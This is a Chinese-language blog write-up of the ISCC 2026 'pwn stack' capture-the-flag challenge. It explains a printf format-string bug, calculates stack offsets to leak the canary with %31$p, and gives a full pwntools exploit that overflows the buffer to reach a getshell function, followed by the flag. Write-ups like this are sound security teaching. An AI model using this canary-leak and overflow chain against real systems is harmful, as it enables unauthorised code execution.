447 字
2 分钟
ISCC 2026 pwn stack
附件:attachment
题目概览:

漏洞点很直接:
- 栈溢出,但是开了 canary,需要先泄露
printf(buf)存在格式化字符串漏洞,可以拿来找偏移并泄露 canary
漏洞位置:

先用格式化字符串测偏移:


可以看到 0x41414141,也就是 AAAA,对应偏移是 6。这说明 printf 从第 6 个参数开始,已经读到了我们的 buf。
这里其实有三种做法:
- 运行程序直接打
%p,看AAAA出现在第几个参数 - 手算调用点的栈偏移
- 动态调试看
call printf前后的实际栈布局
三种做法本质上是在互相验证。动态调试好理解,这里就不展开演示了,下面只保留运行结果和手算过程。
接着结合调用点计算 canary 所在参数位置。调用点如下:

计算过程:
0xC (sub) + 0x4 (push) + 0x4 (call 返回地址) = 0x140x14 + 0x70 = 0x840x84 - 0x0c = 0x780x78 / 4 = 30也就是说,第一个额外参数对应的是 [ebp-0x84],而 buf 在 [ebp-0x70],所以 buf 正好是第 6 个参数。
canary 在 [ebp-0xc],它和 buf 之间的距离是:
0x70 - 0x0c = 0x640x64 / 4 = 256 + 25 = 31因此 canary 对应第 31 个参数,也就是:
%31$p利用思路分两步:
- 第一轮发送
b'AA%31$pBB\x00',泄露 canary - 第二轮构造溢出,带上正确 canary,覆盖返回地址到
getshell
拿到 shell 后得到 flag:

Exp:
from pwn import *
context.arch = "i386"context.os = "linux"
elf = ELF("./attachment")
def start(): if args.REMOTE: return remote("HOST", PORT) return process("./attachment")
io = start()getshell = 0x080491C6
io.recvuntil(b"Hello Hacker!\n")
io.send(b"AA%31$pBB\x00")io.recvuntil(b"AA")canary = int(io.recvuntil(b"BB", drop=True), 16)log.success(f"canary = {hex(canary)}")
payload = b"A" * 0x64payload += p32(canary)payload += b"B" * 8payload += b"CCCC"payload += p32(getshell)
io.send(payload)io.interactive()flag:ISCC{ni_cai_flag_shi_sha}
ISCC 2026 pwn stack
https://alf-ovo.cn/posts/iscc-2026-pwn-stack/